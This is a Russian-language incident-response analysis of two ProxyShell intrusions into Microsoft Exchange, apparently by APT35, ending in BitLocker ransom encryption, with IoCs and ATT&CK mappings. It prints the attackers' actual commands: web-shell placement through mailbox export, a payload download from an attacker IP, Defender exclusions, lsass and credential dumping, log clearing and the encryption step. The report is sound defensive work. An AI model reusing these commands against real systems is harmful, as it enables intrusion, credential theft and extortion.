С мая 2022 года наши эксперты столкнулись с двумя кейсами, где злоумышленники использовали Microsoft Exchange ProxyShell для первоначального доступа и размещения веб-шеллов. Как выяснилось по итогам расследования, атака может быть связана с APT35 – иранской группировкой, спонсируемой государством. В этой статье рассказываем, как мы пришли к такому выводу.
С чего все началось
Как правило, группировки, действующие в интересах государства, проводят кибератаки в целях шпионажа и кражи ценных данных. Однако на этот раз атаке подвергались коммерческие компании, которые в обычных условиях не попали бы в поле зрения таких группировок. Их конечной целью стало получение финансовой выгоды путем шифрования инфраструктуры атакованной компании и требования выкупа. Вспоминается кибергруппировка Lazarus, которая занимается масштабным кибершпионажем, но при этом осуществляет атаки на криптовалюты, криптобиржи и использует шифровальщики для получения финансовой выгоды. Возможно, попытки прямой монетизации атаки злоумышленниками стали следствием урезания финансирования. Но были ли такие действия санкционированы, и пойдут ли по такому же пути иные группировки? На эти вопросы по-прежнему нет ответа.
В качестве способа отправки требования выкупа в ходе атаки использовалась обычная печать на принтере. Пример такого письма:


Получив такие письма, жертвы обратились в «Солар», и к исследованию подключились наши специалисты. Ниже описаны тактики, техники и инструменты, использованные в атаках. Данные удалось получить в результате исследования образов систем.
Первоначальный доступ
Как упоминалось ранее, для атаки была задействована уязвимость ProxyShell. Для подтверждения использования уязвимости можно обратиться к журналу MSExchange Management и журналам из каталога W3SVC1 (для дополнительного подтверждения можно посмотреть и другие журналы).
Для первоначального размещения веб-шеллов с использованием уязвимости ProxyShell применялись команды:
New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "<REDACTED>@<REDACTED>" – присвоение корректной роли учетной записи для возможности импорта и экспорта почтового ящика;
New-MailboxExportRequest -Mailbox "<REDACTED>@<REDACTED>" -FilePath "\\localhost\E$\ExchangeServer\V15\FrontEnd\HttpProxy\ecp\auth\aspx_qdiaxtuajjd.aspx" -IncludeFolders ("#Drafts#") -ContentFilter "Subject -eq 'aspx_qdiaxtuajjd'" – команда для экспорта почтового ящика с темой «aspx_qdiaxtuajjd» в файл с расширением aspx. В указанном примере можно обратить внимание на использование нестандартного раздела (не C:\) для установленной версии Exchange;
Remove-MailboxExportRequest -Confirm "False" -Force "True" -Identity "26893b0c-dfc1-4776-83d0-e489e3506b32" – команда на удаление запроса выше.
Загруженный веб-шелл имеет функции загрузки и выгрузки файлов, а также запуска определённых исполняемых файлов. Например, может выполнять команды через оболочку powershell.
Расположение и наименования первоначального веб-шелла:
-
\\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_scyieqfkxna.aspx
-
\\localhost\E$\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\aspx_qdiaxtuajjd.aspx
-
\\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_pdydmpramaj.aspx
Можно отметить, что атакующие корректно определяют раздел, на который установлено ПО Microsoft Exchange, что необходимо для эксплуатации размещенных веб-шеллов.
Стоит обратить внимание, что наименование веб-шеллов, размещенных с использованием ProxyShell, имеет повторяющийся паттерн: константа «aspx_», после чего идет 12 случайных символов латинского алфавита и расширение «.aspx».
Пример кода веб-шелла:

Что интересно, после размещения такого многофункционального веб-шелла, осуществляется размещение меньших веб-шеллов:

Расположения, в которых последние размещались:
-
C:\inetpub\wwwroot\aspnet_client\system_web\default.aspx
-
E:\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\login.aspx
-
C:\inetpub\wwwroot\aspnet_client\system_web\default.aspx.req
-
C:\inetpub\wwwroot\aspnet_client\system_web\info.aspx.req
1. Последовательность действий после осуществления первоначального доступа:
Создается исключение из проверок для Microsoft Defender для каталога C:\Windows:
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows
2. После проникновения осуществляется последовательное размещение трех исполняемых файлов, их запуск, и выполнение некоторых команд. Размещенные файлы:
C:\windows\temp\user.exe
C:\windows\temp\task_update.exe
C:\Windows\dllhost.exe
Описание действий, осуществляемых исполняемыми файлами приведено далее.
3. Осуществляется разведка
C:\windows\system32\query.exe
C:\windows\system32\quser.exe
4. Добавляется правило для FW:
FW rule added to exception list | *: * | : Terminal Server | LocalPorts:3389 | RemotePorts:*
5. Запускается TermService
6. Изменяется значение ключа UseLogonCredential по пути к ветке реестра Control\SecurityProviders\WDigest, которому присвоено значение «1», что позволяет хранить пароли в открытом виде в памяти.
7. В обоих случаях имеются следы дампа процесса lsass. В первом случае имеются следы обращения к файлу C:\Users\DefaultAccount\AppData\Local\Temp\lsass.zip с использованием созданной учетной записи DefaultAccount. При этом указанные следы имеются уже после первоначальных следов доступа. За 30 секунд до создания дампа имелись следы запуска менеджера задач (taskmgr.exe), с использованием которого можно создать дамп процесса, который будет сохранен по умолчанию в каталог, в котором находился файл «lsass.zip». Во втором случае имеется файл С:\Windows\Temp\ssasl.pmd, который архивирован в \Windows\Temp\ssasl.zip. Можно заметить, что имя файла «ssasl.pmd» представляет собой зеркальную запись от «lsass.dmp». Указанные следы имеются сразу после первоначального доступа.
Все вышеперечисленные действия, начиная с эксплуатации ProxyShell до размещения ВПО и его закрепления, осуществляются менее чем за 10 минут и имеют видимый повторяющийся паттерн. Таким образом, можно предположить, что все они осуществляются автоматически.
Анализ ВПО
Файл «user.exe». Предназначен для создания учетной записи DefaultAccount c паролем «P@ssw0rd1234», добавления учетной записи в группе локальных администраторов (окончательный список групп: Administrators, Remote Desktop Users, Distributed COM Users, System Managed Accounts Group), разрешения RDP-доступа к указанной УЗ.
Файл «task_update.exe». При запуске выполняет следующие действия:
-
schtasks.exe /Create /F /XML %wintmp%\Wininet.xml /tn '\Microsoft\Windows\Maintenance\Wininet'
-
schtasks.exe /Run /tn '\Microsoft\Windows\Maintenance\Wininet'
-
try { Add-MpPreference -ExclusionPath 'C:\Windows' -Force -AsJob} catch {}
-
powershell /c {$file='c:\windows\dllhost.exe'; Invoke-WebRequest -Uri 'http://172.245.26.118/aaa' -OutFile $file}
-
certutil -addstore -f root C:\Windows\Temp\cert.cer
Так файл создает и запускает задачу Wininet, добавляет каталог «C:\Windows» в исключения для Microsoft Defender, загружает файл «c:\windows\dllhost.exe» и добавляет самоподписанный сертификат в корневые с использованием certutil из файла C:\Windows\Temp\cert.cer. На одном из хостов обнаружен такой сертификат:
При этом на исследованных хостах имеются 2 задачи, одна из которых предположительно создается через веб-шелл:
-
\Microsoft\Windows\Maintenance\Wininet
-
\'\Microsoft\Windows\Maintenance\Wininet'
Данные командного файла «Wininet.bat»:

Как видно, командный файл просто запускает исполнение программы «dllhost.exe» в бесконечном цикле.
Файл «dllhost.exe» является измененной программой реверс-прокси FRPC, собранной из проекта https://github.com/fatedier/frp. Программа написана на языке Go. Ей может быть отдан параметр IP-адреса, к которому осуществляется подключение. Также установлено, что в программе имеются следующие домены:
-
kcp53.tcp443[.]org
-
tcp443.tcp443[.]org
-
kcp53.msupdate[.]us
-
tcp443.msupdate[.]us
После запуска выполняются команды:
powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders"
cmd /c "wmic computersystem get domain"
5. Файл C:\Users\kdadmin\Desktop\New folder\install-proxy.bat, данные:

Командный файл выполняет следующие действия:
-
Добавляет каталог «C:\ProgramData» в исключения для Microsoft Defender, создает каталог C:\ProgramData\Microsoft\Windows\DllHost, копирует в него файл dllhost.exe, создает другой командный файл C:\ProgramData\Microsoft\CacheTask.bat.
-
Сохраняет сертификат, хранящийся в теле командного файла в файл С:\Windows\Temp\cert.cer и устанавливает его в качестве корневого. Можно отметить, что сертификат совпадает с тем, который описан ранее (файлы сертификата и командного найдены на разных хостах).
-
Далее создает и запускает задачу "\Microsoft\Windows\Maintenance\CacheTask", после чего удаляет файл «CacheTask.xml» и самого себя. Можно отметить, что функционал задачи CacheTask полностью аналогичен задаче Wininet – запуск программы-прокси «dllhost.exe» с использованием командного файла «CacheTask.bat» (предположительно аналогичен «Wininet.bat»).
Исследование атаки. Продолжение
Дальнейшее развитие атаки осуществлялось с использованием созданной учетной записи DefaultAccount, в результате подключения по RDP. При этом в большинстве случаев в событиях создания сессии RDP из журналов ОС содержали внешние IP-адреса атакованных систем или 127.0.0.1, предположительно из-за использования программы-прокси dllhost.exe. Однако в одном из кейсов имеется событие eventid 131 (RDP server accepted a new TCP connection) в котором числится IP-адрес, 86.57.3.147, предположительно принадлежащий атакующим. А согласно данным из открытых источников, указанный адрес принадлежит сети AS 43754 (Asiatech Data Transmission company), которая находится как раз в Иране.
После получения учетных записей (после включения хранения паролей в памяти в открытом виде и дампа процесса lsass) осуществляется перемещение на другие хосты компании, также с активным использованием RDP.
Также на различных хостах можно отметить следующие следы:
-
Использование программы SoftPerfectNetworkScanner. C:\Users\DefaultAccount\Desktop\netscanold.zip – архив, в котором находится исполняемый «netscanold.exe», который является программой SoftPerfectNetworkScanner. Также в архиве находится файл конфигурации «netscanold.xml». Результат сканирования помещался в файл C:\Users\DefaultAccount\Desktop\scan.xml.
-
Файлы C:\Windows\System32\ewBnYdgI.tmp и C:\Windows\System32\nXGpPHzT.tmp – дампы реестров SAM и Security.
-
Интересные запуски команд для получения данных УЗ и аудита домена:
.\secretsdump.exe <username>:<password>@<IP address> >hash.txt. Следы запуска скомпилированной версии программы https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/secretsdump.py, предназначенной для получения дампа хэшей паролей УЗ.
.\ADAudit.ps1. Следы запуска скрипта ADAudit.ps1, предположительно взятого из проекта https://github.com/phillips321/adaudit/blob/master/AdAudit.ps1, который позволяет провести быстрый аудит домена.
-
На одном из хостов контроллера домена сохранились команды, которые отдавались в кодированном в base64 виде (команда запуска «powershell.exe -NoP -NoL -NonI -Exec Bypass -Enc»), далее уже декодированные команды:
-
$ProgressPreference="SilentlyContinue";Start-Process powershell.exe {Start-Sleep -s 1800; shutdown /r /f /t 0}. Команда на выключение компьютера через 1800 секунд (30 минут)
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe net start schedule; Set-Service -Name eventlog -StartupType auto; net start eventlog; wevtutil cl 'Security'; wevtutil cl 'System'; wevtutil cl 'Windows PowerShell'; wevtutil cl 'Microsoft-Windows-PowerShell/Operational'; wevtutil cl 'Microsoft-Windows-TerminalServices-LocalSessionManager/Admin'; wevtutil cl 'Microsoft-Windows-BitLocker/BitLocker Management'. Команда на удаление различных журналов ОС Windows
-
$ProgressPreference="SilentlyContinue";Start-Process powershell.exe {Set-Service -Name eventlog -StartupType disabled; net stop eventlog /y; takeown /F C:\Windows\System32\fvenotify.exe; icacls C:\Windows\System32\fvenotify.exe /deny EVERYONE:F}. Команда – остановка журналирования ОС, получение прав на fvenotify.exe (исполняемый BitLocker) и запрет для всех пользователей
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe if (Get-Command Get-ClusterSharedVolume -errorAction SilentlyContinue) { foreach($Cluster in Get-ClusterSharedVolume) { Suspend-ClusterResource $Cluster -Force; $PlainPassword='66f69e-<REDACTED>; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force; enable-bitlocker $Cluster.SharedVolumeInfo.FriendlyVolumeName -password $SecurePassword -PasswordProtector -skiphardwaretest -UsedSpaceOnly;} }. Команда для запуска шифрования. Обратите внимание на использование пароля в открытом виде.
Индикаторы компрометации (IoC)
Файловые индикаторы
Имя |
MD5 |
SHA1 |
SHA256 |
Описание |
---|---|---|---|---|
aspx_qdiaxtuajjd.aspx |
79dc1761e54baabbbb8d2938c1ebdb42 |
2d11db1bd96d649afec7f3cff49c291a512578d9 |
146cbe779d8d88f7aaa3d8b2c7c3ca28d8f62d1e1f1a62db76c1ccbcb34453cb |
Веб-шелл |
aspx_scyieqfkxna.aspx |
c7b65c9658058ff9c7017b2af503f9e2 |
493b2e041d6b7411fc25632727149aee8542a586 |
4d632d0aeb885d53dff495f06af232ba7754d74263e7a284a34edd590ec7bb2c |
Веб-шелл |
aspx_pdydmpramaj.aspx |
618050829a8e744b8873e43da8a4e3c1 |
5f7cbfe775699638458991564b444415e3c8785c |
8ef98860d912997a89bf9da097be86ec97895e16c97f6eb44c71ef51b28a2663 |
Веб-шелл |
login.aspx |
b51ab1b5af0e021a13f99d707c2f09fd |
1dc582e071a6c484c64bab6af62d72fafc868593 |
ec7f9544c6c757e22bb7f496587334d84914896c2550420a05e96c86e5cafcaf |
Дополнительный веб-шелл |
default.aspx |
1d513c7e5d4c0b319bf94a7f6384bba6 |
c48e82062fa0b711557976f1fb28a8bcb2886c80 |
8e1437356c933c806fd38b3784f502da7226d598ce015436f80e31fb68185153 |
Дополнительный веб-шелл |
default.aspx.req |
0f7bc1eabdc6ab9e45eb65de7077f829 |
ca513db841ce6bf0cb098fffbaaf79791299c63c |
19aebcc4b36103b95bc8736edf6fec0930f1b5f7b9829167ba1b966befae7df8 |
Дополнительный веб-шелл |
info.aspx.req |
78502913d70b5170f8cac7fba2b1142d |
de9eac9bb463855ab83a2bac8d26c0e1a8f55521 |
d28c5788b5f43c41f137ae023f48c3e5d4f72dea7cd16de195ae247da3b9505d |
Дополнительный веб-шелл |
dllhost.exe |
d55fa23a67fa7ce17b237e1b55274ac5 |
ce908b5651c7456edd71ed9e0d29dca575bd20e5 |
f0fb2a5161e8fe786567114d745687d225b80a532ff9313c40fa49bf6002c686 |
Программа-прокси, измененная FRPC |
dllhost.exe |
43d6ebb2162e02dde008d6e4ccc1332d |
b7a53f52484a32b2dd6023f570f8644edb0f576f |
e4901d9a00d550ff2c6e24496e20e769f2ce253a191d6c5492312f1b5053cd64 |
Программа-прокси, измененная FRPC |
wininet.bat |
5f098b55f94f5a448ca28904a57c0e58 |
27102b416ef5df186bd8b35190c2a4cc4e2fbf37 |
668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0 |
Командный для запуска dllhost.exe |
install-proxy.bat |
0fd744b6832c57a2490819764805dfe9 |
2523c1e8cf2a15cd265847e5265766d3ffa0ab1d |
3d2a2d6ef842ed3246c4f14d352b99b0269e1ffdbc965c13a2382c82bda90b14 |
Командный для закрепления программы-прокси |
task_update.exe |
0bbb57cacc082306d78dbe1b95b2b9b7 |
b6fa7273f7d0255e31542c7782df6a136f49fd5d |
3d13af2f01cbae96b326a40c5e0399adbb332ab803ba8fc4c27763b5eae26f73 |
Программа для загрузки и закрепления программы-прокси |
user.exe |
90ea3af8f0ded9fa6faee010136267c8 |
b3e051de5210258eb87b0ed7f0c137a240fc76d4 |
600b927e511d53b7c7c5f4527b6757f1337aff741724aabc429ded097d01f412 |
Программа для создания УЗ DefaultAccount |
cert.cer |
0ce5a40d8f50c0435e38b88bf6b0a92d |
6970700bc5e0df88e107034bcdad0449c134da08 |
f85b88a89e7ccef6cd71c4bece78562fe10955663227c5d836408c172efbd99a |
Сертификат, использованный в атаке |
wininet.xml |
d2f4647a3749d30a35d5a8faff41765e |
0f676bc786db3c44cac4d2d22070fb514b4cb64c |
559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e |
Используется для создания задачи WinInet |
Сетевые индикаторы:
-
kcp53.tcp443[.]org
-
tcp443.tcp443[.]org
-
kcp53.msupdate[.]us
-
tcp443.msupdate[.]us
-
kcp53[.]mssync[.]one
-
tcp443[.]mssync[.]one
-
86.57.3[.]147
-
91.203.74[.]214
-
104.21.23[.]5
-
172.245.26[.]118
-
94.232.46[.]57
-
201.116.118[.]22
Тактики техники и процедуры
Тактика |
Техника |
Описание |
---|---|---|
Exploit Public-Facing Application – T1190 |
Первоначальный доступ через уязвимость Microsoft Exchange |
|
Windows Command Shell – T1059 |
Исполнение через оболочку командной строки, оболочку powershell |
|
|
Create Account: Local Account– T1136.001
|
Создание и добавление УЗ DefaultAccount |
Web Shell – T1505.003 |
Размещение веб-шеллов через ProxyShell |
|
Scheduled Task/Job: Scheduled Task T1053.005 |
Создание и исполнение задачи для запуска dllhost.exe |
|
Valid Accounts – T1078
|
Использование существующих привилегированных доменных УЗ |
|
Match Legitimate Name or Location – T1036.005 |
Использование наименования «dllhost.exe» для маскировки под легитимный файл |
|
Impair Defenses: Disable or Modify Tools -T1562.001 |
Добавление исключений для Microsoft Defender |
|
Impair Defenses: Disable Windows Event Logging - T1562.002 |
Остановка журналов ОС Windows |
|
Indicator Removal on Host: Clear Windows Event Logs - T1070.001 |
Очистка журналов ОС Windows |
|
OS Credential Dumping – T1003
|
Дамп процесса lsass. Дампы реестра SAM, Security |
|
System Information Discovery – T1082 |
Разведка с использованием dllhost.exe, следы использования quser.exe, query.exe |
|
Network Service Discovery – T1046 |
Использование программы Softperfect Network Scanner |
|
Remote Services: Remote Desktop Protocol T1021.001 |
Для перемещения по локальной сети использовался RDP |
|
Archive Collected Data T1560 |
Архивирование дампа lsass |
|
Ingress Tool Transfer – T1105 |
Загрузка dllhost.exe с использованием Invoke-WebRequest |
|
Proxy T1090 |
Использовалась измененная программа-прокси FRPC |
|
Data Encrypted for Impact -T1486 |
Шифрование с использованием BitLocker |
|
System Shutdown/Reboot - T1529 |
Перезагрузка систем |